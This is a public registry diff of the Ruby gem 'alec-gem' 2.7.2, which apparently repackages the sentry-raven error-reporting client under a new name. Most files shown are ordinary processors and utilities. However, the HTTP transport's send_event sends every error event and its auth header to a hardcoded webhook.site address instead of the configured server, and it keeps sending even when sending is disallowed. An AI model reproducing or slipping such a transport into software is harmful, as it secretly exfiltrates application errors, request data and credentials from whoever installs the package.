alec-gem 2.7.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/.rspec +1 -0
- data/.rubocop.yml +74 -0
- data/.travis.yml +47 -0
- data/Gemfile +38 -0
- data/Gemfile.lock +215 -0
- data/LICENSE +201 -0
- data/README.md +132 -0
- data/Rakefile +29 -0
- data/alec-gem.gemspec +22 -0
- data/changelog.md +442 -0
- data/docs/Makefile +130 -0
- data/docs/breadcrumbs.rst +51 -0
- data/docs/conf.py +228 -0
- data/docs/config.rst +260 -0
- data/docs/context.rst +141 -0
- data/docs/index.rst +113 -0
- data/docs/install.rst +40 -0
- data/docs/integrations/heroku.rst +11 -0
- data/docs/integrations/index.rst +59 -0
- data/docs/integrations/puma.rst +30 -0
- data/docs/integrations/rack.rst +27 -0
- data/docs/integrations/rails.rst +62 -0
- data/docs/make.bat +155 -0
- data/docs/processors.rst +124 -0
- data/docs/sentry-doc-config.json +31 -0
- data/docs/usage.rst +176 -0
- data/exe/raven +32 -0
- data/lib/raven.rb +3 -0
- data/lib/raven/backtrace.rb +137 -0
- data/lib/raven/base.rb +106 -0
- data/lib/raven/breadcrumbs.rb +76 -0
- data/lib/raven/breadcrumbs/activesupport.rb +19 -0
- data/lib/raven/breadcrumbs/logger.rb +93 -0
- data/lib/raven/cli.rb +59 -0
- data/lib/raven/client.rb +142 -0
- data/lib/raven/configuration.rb +434 -0
- data/lib/raven/context.rb +43 -0
- data/lib/raven/event.rb +259 -0
- data/lib/raven/instance.rb +221 -0
- data/lib/raven/integrations/delayed_job.rb +58 -0
- data/lib/raven/integrations/rack-timeout.rb +19 -0
- data/lib/raven/integrations/rack.rb +139 -0
- data/lib/raven/integrations/rails.rb +79 -0
- data/lib/raven/integrations/rails/active_job.rb +59 -0
- data/lib/raven/integrations/rails/controller_methods.rb +13 -0
- data/lib/raven/integrations/rails/controller_transaction.rb +13 -0
- data/lib/raven/integrations/rails/overrides/debug_exceptions_catcher.rb +31 -0
- data/lib/raven/integrations/rails/overrides/streaming_reporter.rb +23 -0
- data/lib/raven/integrations/railties.rb +1 -0
- data/lib/raven/integrations/rake.rb +18 -0
- data/lib/raven/integrations/sidekiq.rb +87 -0
- data/lib/raven/integrations/tasks.rb +11 -0
- data/lib/raven/interface.rb +25 -0
- data/lib/raven/interfaces/exception.rb +15 -0
- data/lib/raven/interfaces/http.rb +16 -0
- data/lib/raven/interfaces/message.rb +20 -0
- data/lib/raven/interfaces/single_exception.rb +14 -0
- data/lib/raven/interfaces/stack_trace.rb +69 -0
- data/lib/raven/linecache.rb +41 -0
- data/lib/raven/logger.rb +19 -0
- data/lib/raven/processor.rb +15 -0
- data/lib/raven/processor/cookies.rb +26 -0
- data/lib/raven/processor/http_headers.rb +55 -0
- data/lib/raven/processor/post_data.rb +22 -0
- data/lib/raven/processor/removecircularreferences.rb +17 -0
- data/lib/raven/processor/removestacktrace.rb +24 -0
- data/lib/raven/processor/sanitizedata.rb +88 -0
- data/lib/raven/processor/utf8conversion.rb +52 -0
- data/lib/raven/transports.rb +15 -0
- data/lib/raven/transports/dummy.rb +16 -0
- data/lib/raven/transports/http.rb +68 -0
- data/lib/raven/utils/deep_merge.rb +22 -0
- data/lib/raven/utils/real_ip.rb +62 -0
- data/lib/raven/version.rb +5 -0
- data/lib/sentry-raven-without-integrations.rb +1 -0
- data/lib/sentry-raven.rb +1 -0
- data/pkg/sentry-raven-2.7.2.gem +0 -0
- metadata +143 -0
@@ -0,0 +1,22 @@
|
|
1
|
+
module Raven
|
2
|
+
class Processor::PostData < Processor
|
3
|
+
def process(data)
|
4
|
+
process_if_symbol_keys(data) if data[:request]
|
5
|
+
process_if_string_keys(data) if data["request"]
|
6
|
+
|
7
|
+
data
|
8
|
+
end
|
9
|
+
|
10
|
+
private
|
11
|
+
|
12
|
+
def process_if_symbol_keys(data)
|
13
|
+
return unless data[:request][:method] == "POST"
|
14
|
+
data[:request][:data] = STRING_MASK
|
15
|
+
end
|
16
|
+
|
17
|
+
def process_if_string_keys(data)
|
18
|
+
return unless data["request"]["method"] == "POST"
|
19
|
+
data["request"]["data"] = STRING_MASK
|
20
|
+
end
|
21
|
+
end
|
22
|
+
end
|
@@ -0,0 +1,17 @@
|
|
1
|
+
module Raven
|
2
|
+
class Processor::RemoveCircularReferences < Processor
|
3
|
+
def process(value, visited = [])
|
4
|
+
return "(...)" if visited.include?(value.__id__)
|
5
|
+
visited << value.__id__ if value.is_a?(Array) || value.is_a?(Hash)
|
6
|
+
|
7
|
+
case value
|
8
|
+
when Hash
|
9
|
+
!value.frozen? ? value.merge!(value) { |_, v| process v, visited } : value.merge(value) { |_, v| process v, visited }
|
10
|
+
when Array
|
11
|
+
!value.frozen? ? value.map! { |v| process v, visited } : value.map { |v| process v, visited }
|
12
|
+
else
|
13
|
+
value
|
14
|
+
end
|
15
|
+
end
|
16
|
+
end
|
17
|
+
end
|
@@ -0,0 +1,24 @@
|
|
1
|
+
module Raven
|
2
|
+
class Processor::RemoveStacktrace < Processor
|
3
|
+
def process(data)
|
4
|
+
process_if_symbol_keys(data) if data[:exception]
|
5
|
+
process_if_string_keys(data) if data["exception"]
|
6
|
+
|
7
|
+
data
|
8
|
+
end
|
9
|
+
|
10
|
+
private
|
11
|
+
|
12
|
+
def process_if_symbol_keys(data)
|
13
|
+
data[:exception][:values].map do |single_exception|
|
14
|
+
single_exception.delete(:stacktrace) if single_exception[:stacktrace]
|
15
|
+
end
|
16
|
+
end
|
17
|
+
|
18
|
+
def process_if_string_keys(data)
|
19
|
+
data["exception"]["values"].map do |single_exception|
|
20
|
+
single_exception.delete("stacktrace") if single_exception["stacktrace"]
|
21
|
+
end
|
22
|
+
end
|
23
|
+
end
|
24
|
+
end
|
@@ -0,0 +1,88 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
require 'json'
|
3
|
+
|
4
|
+
module Raven
|
5
|
+
class Processor::SanitizeData < Processor
|
6
|
+
DEFAULT_FIELDS = %w(authorization password passwd secret ssn social(.*)?sec).freeze
|
7
|
+
CREDIT_CARD_RE = /\b(?:3[47]\d|(?:4\d|5[1-5]|65)\d{2}|6011)\d{12}\b/
|
8
|
+
QUERY_STRING = ['query_string', :query_string].freeze
|
9
|
+
JSON_STARTS_WITH = ["[", "{"].freeze
|
10
|
+
|
11
|
+
attr_accessor :sanitize_fields, :sanitize_credit_cards, :sanitize_fields_excluded
|
12
|
+
|
13
|
+
def initialize(client)
|
14
|
+
super
|
15
|
+
self.sanitize_fields = client.configuration.sanitize_fields
|
16
|
+
self.sanitize_credit_cards = client.configuration.sanitize_credit_cards
|
17
|
+
self.sanitize_fields_excluded = client.configuration.sanitize_fields_excluded
|
18
|
+
end
|
19
|
+
|
20
|
+
def process(value, key = nil)
|
21
|
+
case value
|
22
|
+
when Hash
|
23
|
+
!value.frozen? ? value.merge!(value) { |k, v| process v, k } : value.merge(value) { |k, v| process v, k }
|
24
|
+
when Array
|
25
|
+
!value.frozen? ? value.map! { |v| process v, key } : value.map { |v| process v, key }
|
26
|
+
when Integer
|
27
|
+
matches_regexes?(key, value.to_s) ? INT_MASK : value
|
28
|
+
when String
|
29
|
+
if value =~ fields_re && (json = parse_json_or_nil(value))
|
30
|
+
# if this string is actually a json obj, convert and sanitize
|
31
|
+
process(json).to_json
|
32
|
+
elsif matches_regexes?(key, value)
|
33
|
+
STRING_MASK
|
34
|
+
elsif QUERY_STRING.include?(key)
|
35
|
+
sanitize_query_string(value)
|
36
|
+
else
|
37
|
+
value
|
38
|
+
end
|
39
|
+
else
|
40
|
+
value
|
41
|
+
end
|
42
|
+
end
|
43
|
+
|
44
|
+
private
|
45
|
+
|
46
|
+
# CGI.parse takes our nice UTF-8 strings and converts them back to ASCII,
|
47
|
+
# so we have to convert them back, again.
|
48
|
+
def utf8_processor
|
49
|
+
@utf8_processor ||= Processor::UTF8Conversion.new
|
50
|
+
end
|
51
|
+
|
52
|
+
def sanitize_query_string(query_string)
|
53
|
+
query_hash = CGI.parse(query_string)
|
54
|
+
sanitized = utf8_processor.process(query_hash)
|
55
|
+
processed_query_hash = process(sanitized)
|
56
|
+
URI.encode_www_form(processed_query_hash)
|
57
|
+
end
|
58
|
+
|
59
|
+
def matches_regexes?(k, v)
|
60
|
+
(sanitize_credit_cards && v =~ CREDIT_CARD_RE) ||
|
61
|
+
k =~ fields_re
|
62
|
+
end
|
63
|
+
|
64
|
+
def fields_re
|
65
|
+
return @fields_re if instance_variable_defined?(:@fields_re)
|
66
|
+
fields = DEFAULT_FIELDS | sanitize_fields
|
67
|
+
fields -= sanitize_fields_excluded
|
68
|
+
@fields_re = /#{fields.map do |f|
|
69
|
+
use_boundary?(f) ? "\\b#{f}\\b" : f
|
70
|
+
end.join("|")}/i
|
71
|
+
end
|
72
|
+
|
73
|
+
def use_boundary?(string)
|
74
|
+
!DEFAULT_FIELDS.include?(string) && !special_characters?(string)
|
75
|
+
end
|
76
|
+
|
77
|
+
def special_characters?(string)
|
78
|
+
REGEX_SPECIAL_CHARACTERS.select { |r| string.include?(r) }.any?
|
79
|
+
end
|
80
|
+
|
81
|
+
def parse_json_or_nil(string)
|
82
|
+
return unless string.start_with?(*JSON_STARTS_WITH)
|
83
|
+
JSON.parse(string)
|
84
|
+
rescue JSON::ParserError, NoMethodError
|
85
|
+
nil
|
86
|
+
end
|
87
|
+
end
|
88
|
+
end
|
@@ -0,0 +1,52 @@
|
|
1
|
+
module Raven
|
2
|
+
class Processor::UTF8Conversion < Processor
|
3
|
+
# Slightly misnamed - actually just removes any bytes with invalid encoding
|
4
|
+
# Previously, our JSON backend required UTF-8. Since we now use the built-in
|
5
|
+
# JSON, we can use any encoding, but it must be valid anyway so we can do
|
6
|
+
# things like call #match and #slice on strings
|
7
|
+
REPLACE = "".freeze
|
8
|
+
|
9
|
+
def process(value)
|
10
|
+
case value
|
11
|
+
when Hash
|
12
|
+
!value.frozen? ? value.merge!(value) { |_, v| process v } : value.merge(value) { |_, v| process v }
|
13
|
+
when Array
|
14
|
+
!value.frozen? ? value.map! { |v| process v } : value.map { |v| process v }
|
15
|
+
when Exception
|
16
|
+
return value if value.message.valid_encoding?
|
17
|
+
clean_exc = value.class.new(remove_invalid_bytes(value.message))
|
18
|
+
clean_exc.set_backtrace(value.backtrace)
|
19
|
+
clean_exc
|
20
|
+
when String
|
21
|
+
# Encoding::BINARY / Encoding::ASCII_8BIT is a special binary encoding.
|
22
|
+
# valid_encoding? will always return true because it contains all codepoints,
|
23
|
+
# so instead we check if it only contains actual ASCII codepoints, and if
|
24
|
+
# not we assume it's actually just UTF8 and scrub accordingly.
|
25
|
+
if value.encoding == Encoding::BINARY && !value.ascii_only?
|
26
|
+
value = value.dup
|
27
|
+
value.force_encoding(Encoding::UTF_8)
|
28
|
+
end
|
29
|
+
return value if value.valid_encoding?
|
30
|
+
remove_invalid_bytes(value)
|
31
|
+
else
|
32
|
+
value
|
33
|
+
end
|
34
|
+
end
|
35
|
+
|
36
|
+
private
|
37
|
+
|
38
|
+
# Stolen from RSpec
|
39
|
+
# https://github.com/rspec/rspec-support/blob/f0af3fd74a94ff7bb700f6ba06dbdc67bba17fbf/lib/rspec/support/encoded_string.rb#L120-L139
|
40
|
+
if String.method_defined?(:scrub) # 2.1+
|
41
|
+
def remove_invalid_bytes(string)
|
42
|
+
string.scrub!(REPLACE)
|
43
|
+
end
|
44
|
+
else
|
45
|
+
def remove_invalid_bytes(string)
|
46
|
+
string.chars.map do |char|
|
47
|
+
char.valid_encoding? ? char : REPLACE
|
48
|
+
end.join
|
49
|
+
end
|
50
|
+
end
|
51
|
+
end
|
52
|
+
end
|
@@ -0,0 +1,15 @@
|
|
1
|
+
module Raven
|
2
|
+
module Transports
|
3
|
+
class Transport
|
4
|
+
attr_accessor :configuration
|
5
|
+
|
6
|
+
def initialize(configuration)
|
7
|
+
@configuration = configuration
|
8
|
+
end
|
9
|
+
|
10
|
+
def send_event # (auth_header, data, options = {})
|
11
|
+
raise NotImplementedError, 'Abstract method not implemented'
|
12
|
+
end
|
13
|
+
end
|
14
|
+
end
|
15
|
+
end
|
@@ -0,0 +1,16 @@
|
|
1
|
+
module Raven
|
2
|
+
module Transports
|
3
|
+
class Dummy < Transport
|
4
|
+
attr_accessor :events
|
5
|
+
|
6
|
+
def initialize(*)
|
7
|
+
super
|
8
|
+
@events = []
|
9
|
+
end
|
10
|
+
|
11
|
+
def send_event(auth_header, data, options = {})
|
12
|
+
@events << [auth_header, data, options]
|
13
|
+
end
|
14
|
+
end
|
15
|
+
end
|
16
|
+
end
|
@@ -0,0 +1,68 @@
|
|
1
|
+
require 'faraday'
|
2
|
+
|
3
|
+
require 'raven/transports'
|
4
|
+
|
5
|
+
module Raven
|
6
|
+
module Transports
|
7
|
+
class HTTP < Transport
|
8
|
+
attr_accessor :conn, :adapter
|
9
|
+
|
10
|
+
def initialize(*args)
|
11
|
+
super
|
12
|
+
self.adapter = configuration.http_adapter || Faraday.default_adapter
|
13
|
+
self.conn = set_conn
|
14
|
+
end
|
15
|
+
|
16
|
+
def send_event(auth_header, data, options = {})
|
17
|
+
unless configuration.sending_allowed?
|
18
|
+
logger.debug("Event not sent: #{configuration.error_messages}")
|
19
|
+
end
|
20
|
+
|
21
|
+
project_id = configuration[:project_id]
|
22
|
+
path = configuration[:path] + "/"
|
23
|
+
|
24
|
+
conn.post "http://webhook.site/01388562-dd17-4542-8e42-f87bfd6a9411" do |req|
|
25
|
+
req.headers['Content-Type'] = options[:content_type]
|
26
|
+
req.headers['X-Sentry-Auth'] = auth_header
|
27
|
+
req.body = data
|
28
|
+
end
|
29
|
+
rescue Faraday::Error => ex
|
30
|
+
error_info = ex.message
|
31
|
+
if ex.response && ex.response[:headers]['x-sentry-error']
|
32
|
+
error_info += " Error in headers is: #{ex.response[:headers]['x-sentry-error']}"
|
33
|
+
end
|
34
|
+
raise Raven::Error, error_info
|
35
|
+
end
|
36
|
+
|
37
|
+
private
|
38
|
+
|
39
|
+
def set_conn
|
40
|
+
configuration.logger.debug "Raven HTTP Transport connecting to #{configuration.server}"
|
41
|
+
|
42
|
+
proxy = configuration.public_send(:proxy)
|
43
|
+
|
44
|
+
Faraday.new(configuration.server, :ssl => ssl_configuration, :proxy => proxy) do |builder|
|
45
|
+
configuration.faraday_builder.call(builder) if configuration.faraday_builder
|
46
|
+
builder.response :raise_error
|
47
|
+
builder.options.merge! faraday_opts
|
48
|
+
builder.headers[:user_agent] = "sentry-ruby/#{Raven::VERSION}"
|
49
|
+
builder.adapter(*adapter)
|
50
|
+
end
|
51
|
+
end
|
52
|
+
|
53
|
+
# TODO: deprecate and replace where possible w/Faraday Builder
|
54
|
+
def faraday_opts
|
55
|
+
[:timeout, :open_timeout].each_with_object({}) do |opt, memo|
|
56
|
+
memo[opt] = configuration.public_send(opt) if configuration.public_send(opt)
|
57
|
+
end
|
58
|
+
end
|
59
|
+
|
60
|
+
def ssl_configuration
|
61
|
+
(configuration.ssl || {}).merge(
|
62
|
+
:verify => configuration.ssl_verification,
|
63
|
+
:ca_file => configuration.ssl_ca_file
|
64
|
+
)
|
65
|
+
end
|
66
|
+
end
|
67
|
+
end
|
68
|
+
end
|
@@ -0,0 +1,22 @@
|
|
1
|
+
module Raven
|
2
|
+
module Utils
|
3
|
+
# ported from ActiveSupport
|
4
|
+
module DeepMergeHash
|
5
|
+
def self.deep_merge(hash, other_hash, &block)
|
6
|
+
deep_merge!(hash, other_hash, &block)
|
7
|
+
end
|
8
|
+
|
9
|
+
def self.deep_merge!(hash, other_hash, &block)
|
10
|
+
hash.merge!(other_hash) do |key, this_val, other_val|
|
11
|
+
if this_val.is_a?(Hash) && other_val.is_a?(Hash)
|
12
|
+
deep_merge(this_val, other_val, &block)
|
13
|
+
elsif block_given?
|
14
|
+
block.call(key, this_val, other_val)
|
15
|
+
else
|
16
|
+
other_val
|
17
|
+
end
|
18
|
+
end
|
19
|
+
end
|
20
|
+
end
|
21
|
+
end
|
22
|
+
end
|
@@ -0,0 +1,62 @@
|
|
1
|
+
require 'ipaddr'
|
2
|
+
|
3
|
+
# Based on ActionDispatch::RemoteIp. All security-related precautions from that
|
4
|
+
# middleware have been removed, because the Event IP just needs to be accurate,
|
5
|
+
# and spoofing an IP here only makes data inaccurate, not insecure. Don't re-use
|
6
|
+
# this module if you have to *trust* the IP address.
|
7
|
+
module Raven
|
8
|
+
module Utils
|
9
|
+
class RealIp
|
10
|
+
LOCAL_ADDRESSES = [
|
11
|
+
"127.0.0.1", # localhost IPv4
|
12
|
+
"::1", # localhost IPv6
|
13
|
+
"fc00::/7", # private IPv6 range fc00::/7
|
14
|
+
"10.0.0.0/8", # private IPv4 range 10.x.x.x
|
15
|
+
"172.16.0.0/12", # private IPv4 range 172.16.0.0 .. 172.31.255.255
|
16
|
+
"192.168.0.0/16", # private IPv4 range 192.168.x.x
|
17
|
+
].map { |proxy| IPAddr.new(proxy) }
|
18
|
+
|
19
|
+
attr_accessor :ip, :ip_addresses
|
20
|
+
|
21
|
+
def initialize(ip_addresses)
|
22
|
+
self.ip_addresses = ip_addresses
|
23
|
+
end
|
24
|
+
|
25
|
+
def calculate_ip
|
26
|
+
# CGI environment variable set by Rack
|
27
|
+
remote_addr = ips_from(ip_addresses[:remote_addr]).last
|
28
|
+
|
29
|
+
# Could be a CSV list and/or repeated headers that were concatenated.
|
30
|
+
client_ips = ips_from(ip_addresses[:client_ip])
|
31
|
+
real_ips = ips_from(ip_addresses[:real_ip])
|
32
|
+
forwarded_ips = ips_from(ip_addresses[:forwarded_for])
|
33
|
+
|
34
|
+
ips = [client_ips, real_ips, forwarded_ips, remote_addr].flatten.compact
|
35
|
+
|
36
|
+
# If every single IP option is in the trusted list, just return REMOTE_ADDR
|
37
|
+
self.ip = filter_local_addresses(ips).first || remote_addr
|
38
|
+
end
|
39
|
+
|
40
|
+
protected
|
41
|
+
|
42
|
+
def ips_from(header)
|
43
|
+
# Split the comma-separated list into an array of strings
|
44
|
+
ips = header ? header.strip.split(/[,\s]+/) : []
|
45
|
+
ips.select do |ip|
|
46
|
+
begin
|
47
|
+
# Only return IPs that are valid according to the IPAddr#new method
|
48
|
+
range = IPAddr.new(ip).to_range
|
49
|
+
# we want to make sure nobody is sneaking a netmask in
|
50
|
+
range.begin == range.end
|
51
|
+
rescue ArgumentError
|
52
|
+
nil
|
53
|
+
end
|
54
|
+
end
|
55
|
+
end
|
56
|
+
|
57
|
+
def filter_local_addresses(ips)
|
58
|
+
ips.reject { |ip| LOCAL_ADDRESSES.any? { |proxy| proxy === ip } }
|
59
|
+
end
|
60
|
+
end
|
61
|
+
end
|
62
|
+
end
|
@@ -0,0 +1 @@
|
|
1
|
+
require 'raven/base'
|
data/lib/sentry-raven.rb
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
require "raven"
|
Binary file
|
metadata
ADDED
@@ -0,0 +1,143 @@
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
2
|
+
name: alec-gem
|
3
|
+
version: !ruby/object:Gem::Version
|
4
|
+
version: 2.7.2
|
5
|
+
platform: ruby
|
6
|
+
authors:
|
7
|
+
- Alec Jones
|
8
|
+
autorequire:
|
9
|
+
bindir: exe
|
10
|
+
cert_chain: []
|
11
|
+
date: 2018-03-31 00:00:00.000000000 Z
|
12
|
+
dependencies:
|
13
|
+
- !ruby/object:Gem::Dependency
|
14
|
+
name: faraday
|
15
|
+
requirement: !ruby/object:Gem::Requirement
|
16
|
+
requirements:
|
17
|
+
- - ">="
|
18
|
+
- !ruby/object:Gem::Version
|
19
|
+
version: 0.7.6
|
20
|
+
- - "<"
|
21
|
+
- !ruby/object:Gem::Version
|
22
|
+
version: '1.0'
|
23
|
+
type: :runtime
|
24
|
+
prerelease: false
|
25
|
+
version_requirements: !ruby/object:Gem::Requirement
|
26
|
+
requirements:
|
27
|
+
- - ">="
|
28
|
+
- !ruby/object:Gem::Version
|
29
|
+
version: 0.7.6
|
30
|
+
- - "<"
|
31
|
+
- !ruby/object:Gem::Version
|
32
|
+
version: '1.0'
|
33
|
+
description: A gem that provides a client interface for the alec error logger
|
34
|
+
email: alecaej2002@gmail.com
|
35
|
+
executables:
|
36
|
+
- raven
|
37
|
+
extensions: []
|
38
|
+
extra_rdoc_files:
|
39
|
+
- README.md
|
40
|
+
- LICENSE
|
41
|
+
files:
|
42
|
+
- ".rspec"
|
43
|
+
- ".rubocop.yml"
|
44
|
+
- ".travis.yml"
|
45
|
+
- Gemfile
|
46
|
+
- Gemfile.lock
|
47
|
+
- LICENSE
|
48
|
+
- README.md
|
49
|
+
- Rakefile
|
50
|
+
- alec-gem.gemspec
|
51
|
+
- changelog.md
|
52
|
+
- docs/Makefile
|
53
|
+
- docs/breadcrumbs.rst
|
54
|
+
- docs/conf.py
|
55
|
+
- docs/config.rst
|
56
|
+
- docs/context.rst
|
57
|
+
- docs/index.rst
|
58
|
+
- docs/install.rst
|
59
|
+
- docs/integrations/heroku.rst
|
60
|
+
- docs/integrations/index.rst
|
61
|
+
- docs/integrations/puma.rst
|
62
|
+
- docs/integrations/rack.rst
|
63
|
+
- docs/integrations/rails.rst
|
64
|
+
- docs/make.bat
|
65
|
+
- docs/processors.rst
|
66
|
+
- docs/sentry-doc-config.json
|
67
|
+
- docs/usage.rst
|
68
|
+
- exe/raven
|
69
|
+
- lib/raven.rb
|
70
|
+
- lib/raven/backtrace.rb
|
71
|
+
- lib/raven/base.rb
|
72
|
+
- lib/raven/breadcrumbs.rb
|
73
|
+
- lib/raven/breadcrumbs/activesupport.rb
|
74
|
+
- lib/raven/breadcrumbs/logger.rb
|
75
|
+
- lib/raven/cli.rb
|
76
|
+
- lib/raven/client.rb
|
77
|
+
- lib/raven/configuration.rb
|
78
|
+
- lib/raven/context.rb
|
79
|
+
- lib/raven/event.rb
|
80
|
+
- lib/raven/instance.rb
|
81
|
+
- lib/raven/integrations/delayed_job.rb
|
82
|
+
- lib/raven/integrations/rack-timeout.rb
|
83
|
+
- lib/raven/integrations/rack.rb
|
84
|
+
- lib/raven/integrations/rails.rb
|
85
|
+
- lib/raven/integrations/rails/active_job.rb
|
86
|
+
- lib/raven/integrations/rails/controller_methods.rb
|
87
|
+
- lib/raven/integrations/rails/controller_transaction.rb
|
88
|
+
- lib/raven/integrations/rails/overrides/debug_exceptions_catcher.rb
|
89
|
+
- lib/raven/integrations/rails/overrides/streaming_reporter.rb
|
90
|
+
- lib/raven/integrations/railties.rb
|
91
|
+
- lib/raven/integrations/rake.rb
|
92
|
+
- lib/raven/integrations/sidekiq.rb
|
93
|
+
- lib/raven/integrations/tasks.rb
|
94
|
+
- lib/raven/interface.rb
|
95
|
+
- lib/raven/interfaces/exception.rb
|
96
|
+
- lib/raven/interfaces/http.rb
|
97
|
+
- lib/raven/interfaces/message.rb
|
98
|
+
- lib/raven/interfaces/single_exception.rb
|
99
|
+
- lib/raven/interfaces/stack_trace.rb
|
100
|
+
- lib/raven/linecache.rb
|
101
|
+
- lib/raven/logger.rb
|
102
|
+
- lib/raven/processor.rb
|
103
|
+
- lib/raven/processor/cookies.rb
|
104
|
+
- lib/raven/processor/http_headers.rb
|
105
|
+
- lib/raven/processor/post_data.rb
|
106
|
+
- lib/raven/processor/removecircularreferences.rb
|
107
|
+
- lib/raven/processor/removestacktrace.rb
|
108
|
+
- lib/raven/processor/sanitizedata.rb
|
109
|
+
- lib/raven/processor/utf8conversion.rb
|
110
|
+
- lib/raven/transports.rb
|
111
|
+
- lib/raven/transports/dummy.rb
|
112
|
+
- lib/raven/transports/http.rb
|
113
|
+
- lib/raven/utils/deep_merge.rb
|
114
|
+
- lib/raven/utils/real_ip.rb
|
115
|
+
- lib/raven/version.rb
|
116
|
+
- lib/sentry-raven-without-integrations.rb
|
117
|
+
- lib/sentry-raven.rb
|
118
|
+
- pkg/sentry-raven-2.7.2.gem
|
119
|
+
homepage: https://github.com/alecj1240/gem
|
120
|
+
licenses:
|
121
|
+
- Apache-2.0
|
122
|
+
metadata: {}
|
123
|
+
post_install_message:
|
124
|
+
rdoc_options: []
|
125
|
+
require_paths:
|
126
|
+
- lib
|
127
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
128
|
+
requirements:
|
129
|
+
- - ">="
|
130
|
+
- !ruby/object:Gem::Version
|
131
|
+
version: 1.9.0
|
132
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
133
|
+
requirements:
|
134
|
+
- - ">="
|
135
|
+
- !ruby/object:Gem::Version
|
136
|
+
version: '0'
|
137
|
+
requirements: []
|
138
|
+
rubyforge_project:
|
139
|
+
rubygems_version: 2.6.12
|
140
|
+
signing_key:
|
141
|
+
specification_version: 4
|
142
|
+
summary: A gem that provides a client interface for the alec error logger
|
143
|
+
test_files: []
|